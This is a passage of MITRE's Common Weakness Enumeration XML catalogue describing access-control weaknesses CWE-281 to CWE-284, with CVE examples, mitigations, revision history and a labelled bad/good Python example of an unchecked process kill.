					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle
						Insufficient Permissions or Privileges</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="281" Name="Improper Preservation of Permissions" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not preserve permissions or incorrectly
					preserves permissions when copying, restoring, or sharing objects, which can
					cause them to have less restrictive permissions than
					intended.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>This is resultant from errors that prevent the permissions from being
							preserved.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2323</Observed_Example_Reference>
					          <Observed_Example_Description>Incorrect ACLs used when restoring backups from
						directories that use symbolic links.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1515</Observed_Example_Reference>
					          <Observed_Example_Description>Automatic modification of permissions inherited
						from another file system.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1920</Observed_Example_Reference>
					          <Observed_Example_Description>Permissions on backup file are created with
						defaults, possibly less secure than original
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0195</Observed_Example_Reference>
					          <Observed_Example_Description>File is made world-readable when being
						cloned.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Permission preservation failure</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Permission Preservation
						Failure</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="282" Name="Improper Ownership Management" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software assigns the wrong ownership, or does not properly
					verify the ownership, of an object or resource.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>284</Relationship_Target_ID>
					          <!--Improper Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>264</Relationship_Target_ID>
					          <!--Permissions, Privileges, and Access Controls-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The relationships between privileges, permissions, and actors (e.g. users
						and groups) need further refinement within the Research view. One
						complication is that these concepts apply to two different pillars, related
						to control of resources (CWE-664) and protection mechanism failures
						(CWE-396).</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1125</Observed_Example_Reference>
					          <Observed_Example_Description>Program runs setuid root but relies on a
						configuration file owned by a non-root user.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Ownership errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Ownership
						Issues</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="283" Name="Unverified Ownership" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly verify that a critical resource
					is owned by the proper entity.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>282</Relationship_Target_ID>
					          <!--Improper Ownership Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>264</Relationship_Target_ID>
					          <!--Permissions, Privileges, and Access Controls-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This overlaps insufficient comparison, verification errors, permissions,
						and privileges.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain unauthorized access to system resources</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-49">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Consider following the principle of separation of privilege. Require
							multiple conditions to be met before permitting access to a system
							resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This function is part of a privileged program that takes input from
						users with potentially lower privileges.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def killProcess(processID):</Code>
							              <Block>
								                <Code>os.kill(processID, signal.SIGKILL)</Code>
							              </Block>
						            </Block>
						            <Text> This code does not confirm that the process to be killed is owned by
							the requesting user, thus allowing an attacker to kill arbitrary
							processes. </Text>
						            <Text> This function remedies the problem by checking the owner of the
							process before killing it: </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def killProcess(processID):</Code>
							              <Block>
								                <Code>user = getCurrentUser()</Code>
								                <Comment>#Check process owner against requesting user</Comment>
								                <Code>if getProcessOwner(processID) == user:</Code>
								                <Block>
									                  <Code> os.kill(processID, signal.SIGKILL)</Code>
									                  <Code>return</Code>
								                </Block>
								                <Code>else:</Code>
								                <Block>
									                  <Code>print("You cannot kill a process you don't own")</Code>
									                  <Code>return</Code>
								                </Block>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0178</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not verify the owner of a UNIX socket
						that is used for sending a password.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2012</Observed_Example_Reference>
					          <Observed_Example_Description>Owner of special device not checked, allowing
						root.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unverified Ownership</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="284" Name="Improper Access Control" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not restrict or incorrectly restricts access
					to a resource from an unauthorized actor.</Description_Summary>
				        <Extended_Description>
					          <Text>Access control involves the use of several protection mechanisms such as
						authentication (proving the identity of an actor) authorization (ensuring
						that a given actor can access a resource), and accountability (tracking of
						activities that were performed). When any mechanism is not applied or
						otherwise fails, attackers can compromise the security of the software by
						gaining privileges, reading sensitive information, executing commands,
						evading detection, etc.</Text>
					          <Text>There are two distinct behaviors that can introduce access control
						weaknesses:</Text>
					          <Block Block_Nature="List">
						            <Text>Specification: incorrect privileges, permissions, ownership, etc. are
							explicitly specified for either the user or the resource (for example,
							setting a password file to be world-writable, or giving administrator
							capabilities to a guest user). This action could be performed by the
							program or the administrator.</Text>
						            <Text>Enforcement: the mechanism contains errors that prevent it from
							properly enforcing the specified access control requirements (e.g.,
							allowing the user to specify their own privileges, or allowing a
							syntactically-incorrect ACL to produce insecure settings). This problem
							occurs within the program itself, in that it does not actually enforce
							the intended security policy that the administrator specifies.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>264</Relationship_Target_ID>
					          <!--Permissions, Privileges, and Access Controls-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This item needs more work. Possible sub-categories include:</Text>
					          <Block>
						            <Text>* Trusted group includes undesired entities (partially covered by
							CWE-286)</Text>
						            <Text>* Group can perform undesired actions</Text>
						            <Text>* ACL parse error does not fail closed</Text>
					          </Block>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Authorization</Term>
					          <Alternate_Term_Description>
						            <Text>The terms "access control" and "authorization" are often used
							interchangeably, although many people have distinct definitions. The CWE
							usage of "access control" is intended as a general term for the various
							mechanisms that restrict which users can access which resources, and
							"authorization" is more narrowly defined. It is unlikely that there will
							be community consensus on the use of these terms.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 6, "Determining Appropriate Access Control" Page
						171</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 17: Failure to Protect Stored Data." Page
						253</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Access Control List (ACL) errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Authorization </Mapped_Node_Name>
					          <Mapped_Node_ID>2</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Background_Details, Description,
						Maintenance_Notes, Name, Relationships,
						Taxonomy_Mappings</Modification_Comment>
